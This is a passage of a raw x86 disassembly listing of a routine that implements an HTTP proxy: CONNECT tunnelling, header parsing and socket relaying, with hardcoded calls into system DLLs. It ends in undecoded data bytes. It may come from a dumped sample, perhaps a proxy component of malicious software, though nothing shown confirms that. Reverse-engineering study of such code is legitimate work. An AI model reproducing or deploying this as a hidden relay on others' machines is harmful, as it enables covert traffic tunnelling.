[esp+2Ch+var_28], esi call sub_401F82 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_401424 push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43E14C call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4015D7 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_428160 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428220 proc near ; CODE XREF: ___:00401E15j sub_4021B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BD1 test [esp+4+arg_0], 1 jz short loc_428238 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428238: ; CODE XREF: sub_428220+Dj mov eax, esi pop esi retn 4 sub_428220 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428250 proc near ; CODE XREF: sub_401BD1j push esi mov esi, ecx push edi mov edi, dword_50FC88 mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43E14C cmp eax, 0FFFFFFFFh jz short loc_42826E push eax call edi ; closesocket loc_42826E: ; CODE XREF: sub_428250+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42827C push eax call edi ; closesocket loc_42827C: ; CODE XREF: sub_428250+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_40179E pop edi pop esi retn sub_428250 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4282C0 proc near ; CODE XREF: sub_401D2Aj var_B0 = byte ptr -0B0h var_AA = byte ptr -0AAh var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_5C = byte ptr -5Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_3C = byte ptr -3Ch var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_26 = byte ptr -26h var_24 = byte ptr -24h var_20 = byte ptr -20h var_18 = byte ptr -18h var_C = byte ptr -0Ch var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_4 = byte ptr -4 arg_C = byte ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_24 = byte ptr 28h arg_28 = byte ptr 2Ch arg_34 = byte ptr 38h arg_3C = byte ptr 40h arg_40 = byte ptr 44h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_4A = word ptr 4Eh arg_4C = dword ptr 50h arg_50 = dword ptr 54h arg_54 = dword ptr 58h arg_58 = dword ptr 5Ch arg_64 = byte ptr 68h arg_68 = byte ptr 6Ch arg_6C = byte ptr 70h arg_91 = byte ptr 95h arg_98 = byte ptr 9Ch arg_9D = byte ptr 0A1h arg_AD = byte ptr 0B1h arg_D0 = dword ptr 0D4h arg_D4 = byte ptr 0D8h arg_E0 = dword ptr 0E4h arg_E4 = byte ptr 0E8h arg_EC = dword ptr 0F0h arg_F0 = byte ptr 0F4h arg_FC = byte ptr 100h arg_108 = byte ptr 10Ch arg_12C = byte ptr 130h arg_150 = byte ptr 154h arg_15C = byte ptr 160h arg_180 = byte ptr 184h arg_18C = byte ptr 190h arg_1A4 = byte ptr 1A8h arg_1B0 = byte ptr 1B4h arg_1F8 = byte ptr 1FCh arg_210 = byte ptr 214h arg_228 = byte ptr 22Ch arg_230 = byte ptr 234h arg_240 = byte ptr 244h arg_244 = dword ptr 248h arg_248 = dword ptr 24Ch arg_24C = dword ptr 250h arg_258 = byte ptr 25Ch arg_374 = byte ptr 378h arg_3EC = byte ptr 3F0h arg_3FC = byte ptr 400h arg_40C = byte ptr 410h arg_41C = byte ptr 420h arg_42C = byte ptr 430h arg_43C = byte ptr 440h arg_44C = byte ptr 450h arg_45C = byte ptr 460h arg_478 = byte ptr 47Ch arg_4478 = byte ptr 447Ch arg_53D0 = dword ptr 53D4h arg_53E0 = dword ptr 53E4h arg_5434 = byte ptr 5438h arg_5444 = byte ptr 5448h arg_544C = dword ptr 5450h arg_5454 = dword ptr 5458h arg_5480 = dword ptr 5484h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BA92 push eax mov eax, 5488h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov [esp+1Ch+var_A], 0 loc_4282F8: ; CODE XREF: sub_4282C0+FC6j lea ecx, [esp+1Ch+arg_98] call sub_401B36 lea ecx, [esp+1Ch+var_8] mov [esp+1Ch+arg_5480], 0 mov [esp+1Ch+var_9], 0 call sub_401424 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_374] push 104h push eax push ecx mov byte ptr [esp+2Ch+arg_5480], 1 call sub_401280 add esp, 10h test al, al jz loc_429310 lea edx, [esp+1Ch+arg_374] lea ecx, [esp+1Ch+arg_10] push edx call sub_401861 push offset byte_446F70 lea ecx, [esp+20h+arg_10] mov byte ptr [esp+20h+arg_5480], 2 call sub_4012EE test eax, eax jnz short loc_4283B0 lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_429280 ; --------------------------------------------------------------------------- loc_4283B0: ; CODE XREF: sub_4282C0+B4j push offset asc_443600 ; " " lea eax, [esp+20h+arg_210] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset off_445258 mov ecx, eax mov byte ptr [esp+20h+arg_5480], 3 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_210] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz short loc_428475 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_1F8] push 1 push ecx lea ecx, [esp+28h+arg_10] mov [esp+28h+var_9], 1 call sub_4016AE lea edx, [esp+1Ch+arg_98] mov ecx, eax push edx mov byte ptr [esp+20h+arg_5480], 4 call sub_4017E4 push eax call sub_401938 add esp, 8 lea ecx, [esp+1Ch+arg_1F8] test al, al setz bl mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset aHttp ; "http" lea ecx, [esp+20h+arg_98] call sub_4012EE test eax, eax jnz loc_4292FF jmp loc_42866A ; --------------------------------------------------------------------------- loc_428475: ; CODE XREF: sub_4282C0+137j push offset asc_443600 ; " " lea eax, [esp+20h+arg_228] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+20h+arg_5480], 5 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_228] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz loc_42866A push offset aConnect ; "connect" lea ecx, [esp+20h+arg_98] mov [esp+20h+var_9], 0 call sub_4015D7 push offset byte_446F70 lea ecx, [esp+20h+arg_F0] call sub_4015D7 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_108] push 1 push ecx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+20h+arg_150] push 0 push edx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 6 call sub_4016AE push eax lea ecx, [esp+20h+arg_AD] mov byte ptr [esp+20h+arg_5480], 7 call sub_401FBE lea ecx, [esp+1Ch+arg_150] mov byte ptr [esp+1Ch+arg_5480], 6 call sub_401226 lea ecx, [esp+1Ch+arg_108] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 push offset asc_443600 ; " " lea eax, [esp+20h+arg_258] push 1 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+20h+arg_180] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 8 call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 9 call sub_4017E4 test eax, eax lea ecx, [esp+1Ch+arg_180] mov byte ptr [esp+1Ch+arg_5480], 8 setz bl call sub_401226 lea ecx, [esp+1Ch+arg_258] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset asc_443600 ; " " lea edx, [esp+20h+arg_240] push 1 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+20h+arg_1B0] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 0Ah call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 0Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1Ch+arg_1B0] mov [esp+1Ch+arg_EC], eax mov byte ptr [esp+1Ch+arg_5480], 0Ah call sub_401226 lea ecx, [esp+1Ch+arg_240] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 mov eax, [esp+1Ch+arg_EC] test eax, eax jnz short loc_42866A mov [esp+1Ch+arg_EC], 50h loc_42866A: ; CODE XREF: sub_4282C0+1B0j ; sub_4282C0+1FCj ... push offset asc_443600 ; " " lea edx, [esp+20h+arg_28] push 0 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F70 lea ecx, [esp+20h+arg_28] mov byte ptr [esp+20h+arg_5480], 0Ch call sub_4012EE test eax, eax jz loc_4292EE push offset asc_443600 ; " " lea eax, [esp+20h+arg_40] push 2 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F70 lea ecx, [esp+20h+arg_40] mov byte ptr [esp+20h+arg_5480], 0Dh call sub_4012EE test eax, eax jz loc_4292DD lea ecx, [esp+1Ch+arg_AD] push ecx lea ecx, [esp+20h+arg_68] call sub_4014C9 mov ecx, 1000h xor eax, eax lea edi, [esp+1Ch+arg_478] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+1Ch+arg_4478] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+1Ch+arg_5480], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+1Ch+arg_4478] and ecx, 3 rep movsb mov esi, offset asc_445230 ; "\r\n" loc_428731: ; CODE XREF: sub_4282C0+48Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428755 test cl, cl jz short loc_428751 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428755 add eax, 2 add esi, 2 test cl, cl jnz short loc_428731 loc_428751: ; CODE XREF: sub_4282C0+47Bj xor eax, eax jmp short loc_428759 ; --------------------------------------------------------------------------- loc_428755: ; CODE XREF: sub_4282C0+477j ; sub_4282C0+485j sbb eax, eax sbb eax, ebx loc_428759: ; CODE XREF: sub_4282C0+493j test eax, eax jz loc_428833 mov edi, dword_50FACC loc_428767: ; CODE XREF: sub_4282C0+56Dj mov esi, offset byte_446F70 lea eax, [esp+1Ch+arg_4478] loc_428773: ; CODE XREF: sub_4282C0+4D1j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428797 test cl, cl jz short loc_428793 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428797 add eax, 2 add esi, 2 test cl, cl jnz short loc_428773 loc_428793: ; CODE XREF: sub_4282C0+4BDj xor eax, eax jmp short loc_42879B ; --------------------------------------------------------------------------- loc_428797: ; CODE XREF: sub_4282C0+4B9j ; sub_4282C0+4C7j sbb eax, eax sbb eax, ebx loc_42879B: ; CODE XREF: sub_4282C0+4D5j test eax, eax jz loc_428833 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_4478] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_429339 lea edx, [esp+1Ch+arg_4478] push 4000h lea eax, [esp+20h+arg_478] push edx push eax call edi ; strncat push 4000h lea ecx, [esp+2Ch+arg_478] push offset asc_445230 ; "\r\n" push ecx call edi ; strncat add esp, 18h mov esi, offset asc_445230 ; "\r\n" lea eax, [esp+1Ch+arg_4478] loc_428803: ; CODE XREF: sub_4282C0+561j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428827 test cl, cl jz short loc_428823 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428827 add eax, 2 add esi, 2 test cl, cl jnz short loc_428803 loc_428823: ; CODE XREF: sub_4282C0+54Dj xor eax, eax jmp short loc_42882B ; --------------------------------------------------------------------------- loc_428827: ; CODE XREF: sub_4282C0+549j ; sub_4282C0+557j sbb eax, eax sbb eax, ebx loc_42882B: ; CODE XREF: sub_4282C0+565j test eax, eax jnz loc_428767 loc_428833: ; CODE XREF: sub_4282C0+49Bj ; sub_4282C0+4DDj mov esi, dword_50FAF8 lea eax, [esp+1Ch+arg_478] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi ; strstr add esp, 8 test eax, eax jz short loc_428887 push offset asc_443C94 ; ":" push eax call esi ; strstr add esp, 8 inc eax jz short loc_428887 cmp byte ptr [eax], 20h jnz short loc_42886B loc_428862: ; CODE XREF: sub_4282C0+5A9j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_428862 loc_42886B: ; CODE XREF: sub_4282C0+5A0j push offset aKeepAlive ; "Keep-Alive" push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz short loc_428887 mov byte ptr [ebp+0BAh], 1 jmp short loc_42888E ; --------------------------------------------------------------------------- loc_428887: ; CODE XREF: sub_4282C0+58Dj ; sub_4282C0+59Bj ... mov byte ptr [ebp+0BAh], 0 loc_42888E: ; CODE XREF: sub_4282C0+5C5j cmp [ebp+0BFh], ebx jnz loc_428926 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, ebx mov [ebp+0BFh], eax jz loc_42940D mov edx, [esp+28h+arg_E0] xor ecx, ecx mov [esp+28h+arg_4C], ecx push edx mov [esp+2Ch+arg_50], ecx mov word ptr [esp+2Ch+arg_4C], 2 mov [esp+2Ch+arg_54], ecx mov [esp+2Ch+arg_58], ecx nop call near ptr 71AB2B66h lea ecx, [esp+2Ch+arg_9D] mov [esp+2Ch+arg_4A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, ebx mov [esp+2Ch+arg_4C], eax jz loc_42934B mov ecx, [ebp+0BFh] lea eax, [esp+2Ch+arg_48] push 10h push eax push ecx call near ptr 71AB406Ah nop cmp eax, ebx jz loc_4293A8 loc_428926: ; CODE XREF: sub_4282C0+5D4j mov al, [esp+13h] test al, al jz loc_428FCE mov al, [ebp+0BAh] test al, al jz short loc_428971 lea edx, [esp+38h+arg_45C] lea ecx, [esp+38h+arg_24] push edx call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea eax, [esp+48h+var_24] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_4289A4 ; --------------------------------------------------------------------------- loc_428971: ; CODE XREF: sub_4282C0+67Aj lea ecx, [esp+38h+arg_45C] push ecx lea ecx, [esp+3Ch+arg_24] call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea edx, [esp+48h+var_24] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_4289A4: ; CODE XREF: sub_4282C0+6AFj call sub_40102D add esp, 18h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 push eax mov eax, [ebp+0BFh] push eax nop call near ptr 71AB428Ah test eax, eax jz loc_4293F2 cmp eax, ebx jz loc_4293F2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+4Ch+arg_44C] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42941F mov edi, offset asc_445230 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+48h+arg_44C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+4Ch+arg_44C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+4Ch+arg_44C] push ecx mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop xor ebx, ebx mov esi, offset asc_445230 ; "\r\n" mov [esp+58h+var_2C], ebx lea eax, [esp+58h+arg_43C] loc_428A6E: ; CODE XREF: sub_4282C0+7CCj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428A92 test cl, cl jz short loc_428A8E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428A92 add eax, 2 add esi, 2 test cl, cl jnz short loc_428A6E loc_428A8E: ; CODE XREF: sub_4282C0+7B8j xor eax, eax jmp short loc_428A97 ; --------------------------------------------------------------------------- loc_428A92: ; CODE XREF: sub_4282C0+7B4j ; sub_4282C0+7C2j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428A97: ; CODE XREF: sub_4282C0+7D0j test eax, eax jz loc_428E19 loc_428A9F: ; CODE XREF: sub_4282C0+B48j mov esi, offset byte_446F70 lea eax, [esp+58h+arg_43C] loc_428AAB: ; CODE XREF: sub_4282C0+80Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428AD3 test cl, cl jz short loc_428ACF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428AD3 add eax, 2 add esi, 2 test cl, cl jnz short loc_428AAB loc_428ACF: ; CODE XREF: sub_4282C0+7F7j xor eax, eax jmp short loc_428AD8 ; --------------------------------------------------------------------------- loc_428AD3: ; CODE XREF: sub_4282C0+7F3j ; sub_4282C0+803j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428AD8: ; CODE XREF: sub_4282C0+811j test eax, eax jz loc_428E15 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+5Ch+arg_43C] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_428E10 lea edx, [esp+58h+arg_43C] lea ecx, [esp+58h+arg_44] push edx call sub_401861 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_1A4] push 0 push eax lea ecx, [esp+64h+arg_44] mov [esp+64h+arg_5444], 0Fh call sub_4016AE push offset aContentLength ; "Content-Length:" mov ecx, eax mov [esp+5Ch+arg_5444], 10h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_1A4] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428BBA push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_E4] push 1 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE mov ecx, eax mov [esp+58h+arg_5444], 11h call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+58h+arg_E4] mov [esp+58h+var_2C], eax mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428BBA: ; CODE XREF: sub_4282C0+8ACj push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_FC] push 0 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov [esp+5Ch+arg_5444], 12h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_FC] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428C49 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_12C] push 1 push eax lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aChunked ; "chunked" mov ecx, eax mov [esp+5Ch+arg_5444], 13h call sub_401500 lea ecx, [esp+58h+arg_12C] mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428C49: ; CODE XREF: sub_4282C0+944j push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_15C] push 0 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aConnection ; "Connection:" mov ecx, eax mov [esp+5Ch+arg_5444], 14h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_15C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428CE4 push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_18C] push 1 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov [esp+5Ch+arg_5444], 15h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_18C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl setnz [esp+58h+var_47] loc_428CE4: ; CODE XREF: sub_4282C0+9D3j mov esi, offset asc_445230 ; "\r\n" lea eax, [esp+58h+arg_43C] loc_428CF0: ; CODE XREF: sub_4282C0+A52j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D18 test cl, cl jz short loc_428D14 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D18 add eax, 2 add esi, 2 test cl, cl jnz short loc_428CF0 loc_428D14: ; CODE XREF: sub_4282C0+A3Cj xor eax, eax jmp short loc_428D1D ; --------------------------------------------------------------------------- loc_428D18: ; CODE XREF: sub_4282C0+A38j ; sub_4282C0+A48j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D1D: ; CODE XREF: sub_4282C0+A56j test eax, eax jz loc_428DB9 mov esi, offset byte_446F70 lea eax, [esp+58h+arg_43C] loc_428D31: ; CODE XREF: sub_4282C0+A93j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D59 test cl, cl jz short loc_428D55 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D59 add eax, 2 add esi, 2 test cl, cl jnz short loc_428D31 loc_428D55: ; CODE XREF: sub_4282C0+A7Dj xor eax, eax jmp short loc_428D5E ; --------------------------------------------------------------------------- loc_428D59: ; CODE XREF: sub_4282C0+A79j ; sub_4282C0+A89j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D5E: ; CODE XREF: sub_4282C0+A97j test eax, eax jz short loc_428DB9 mov edi, offset asc_445230 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+58h+arg_43C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+5Ch+arg_43C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+5Ch+arg_43C] push ecx mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop loc_428DB9: ; CODE XREF: sub_4282C0+A5Fj ; sub_4282C0+AA0j lea ecx, [esp+68h+arg_34] mov [esp+68h+arg_5434], 0Eh call sub_401226 mov esi, offset asc_445230 ; "\r\n" lea eax, [esp+68h+arg_42C] loc_428DD9: ; CODE XREF: sub_4282C0+B3Bj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428E01 test cl, cl jz short loc_428DFD mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428E01 add eax, 2 add esi, 2 test cl, cl jnz short loc_428DD9 loc_428DFD: ; CODE XREF: sub_4282C0+B25j xor eax, eax jmp short loc_428E06 ; --------------------------------------------------------------------------- loc_428E01: ; CODE XREF: sub_4282C0+B21j ; sub_4282C0+B31j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E06: ; CODE XREF: sub_4282C0+B3Fj test eax, eax jnz loc_428A9F jmp short loc_428E15 ; --------------------------------------------------------------------------- loc_428E10: ; CODE XREF: sub_4282C0+840j mov [esp+58h+var_46], 1 loc_428E15: ; CODE XREF: sub_4282C0+81Aj ; sub_4282C0+B4Ej mov ebx, [esp+58h+var_2C] loc_428E19: ; CODE XREF: sub_4282C0+7D9j mov al, [esp+58h+var_47] push 0 test al, al jz short loc_428E41 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_428E5D ; --------------------------------------------------------------------------- loc_428E41: ; CODE XREF: sub_4282C0+B61j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_428E5D: ; CODE XREF: sub_4282C0+B7Fj nop call near ptr 71AB428Ah mov edi, offset asc_445230 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+68h+arg_42C] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+6Ch+arg_42C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+70h+arg_42C] push ecx push edx nop call near ptr 71AB428Ah test ebx, ebx jz loc_428F8C xor edi, edi test ebx, ebx jle short loc_428F14 loc_428EC3: ; CODE XREF: sub_4282C0+C52j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_428F14 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+7Ch+arg_41C] push 4000h push ecx push edx nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_428F14 cmp esi, 0FFFFFFFFh jz short loc_428F14 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+8Ch+arg_40C] push esi push eax push ecx nop call near ptr 71AB428Ah add edi, esi cmp edi, ebx jl short loc_428EC3 loc_428F14: ; CODE XREF: sub_4282C0+C01j ; sub_4282C0+C0Cj ... mov eax, ebx sub eax, edi jz short loc_428F5E loc_428F1A: ; CODE XREF: sub_4282C0+C9Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+0A0h+arg_3FC] push edx push eax nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_428F5E cmp esi, 0FFFFFFFFh jz short loc_428F5E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+0ACh+arg_3EC] push esi push ecx push edx call near ptr 71AB428Ah nop add edi, esi mov eax, ebx sub eax, edi jnz short loc_428F1A loc_428F5E: ; CODE XREF: sub_4282C0+C58j ; sub_4282C0+C77j ... mov al, [ebp+0BAh] test al, al jnz loc_4291EF mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h or esi, 0FFFFFFFFh mov [esp+0BCh+var_AA], 1 mov [ebp+0BBh], esi jmp loc_4291F2 ; --------------------------------------------------------------------------- loc_428F8C: ; CODE XREF: sub_4282C0+BF7j mov esi, dword_50FC90 loc_428F92: ; CODE XREF: sub_4282C0+D0Cj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+7Ch+arg_41C] push 4000h push eax push ecx call esi ; recv cmp eax, 1 jl short loc_428F5E cmp eax, 0FFFFFFFFh jz short loc_428F5E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+90h+arg_40C] push edx push eax call near ptr 71AB428Ah nop jmp short loc_428F92 ; --------------------------------------------------------------------------- loc_428FCE: ; CODE XREF: sub_4282C0+66Cj lea ecx, [esp+38h+var_24] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx call near ptr 71AB428Ah nop test eax, eax jz loc_429492 cmp eax, ebx jz loc_429492 mov ebx, dword_50FC90 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+48h+arg_248], eax mov [esp+48h+arg_244], 1 xor eax, eax lea ecx, [esp+48h+arg_248] loc_429040: ; CODE XREF: sub_4282C0+D8Bj cmp [ecx], edx jz short loc_42904D inc eax add ecx, 4 cmp eax, 1 jb short loc_429040 loc_42904D: ; CODE XREF: sub_4282C0+D82j cmp eax, 1 jnz short loc_429064 mov [esp+48h+arg_24C], edx mov [esp+48h+arg_244], 2 loc_429064: ; CODE XREF: sub_4282C0+D90j mov ecx, 1000h xor eax, eax lea edi, [esp+48h+arg_44C] push eax rep stosd push eax lea ecx, [esp+50h+arg_244] push eax push ecx push eax call near ptr 71AB2DC0h nop mov eax, [ebp+0BBh] lea edx, [esp+5Ch+arg_230] push edx push eax call sub_436F60 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0B3E89051h, 837168B1h, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 0DE6Ch, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 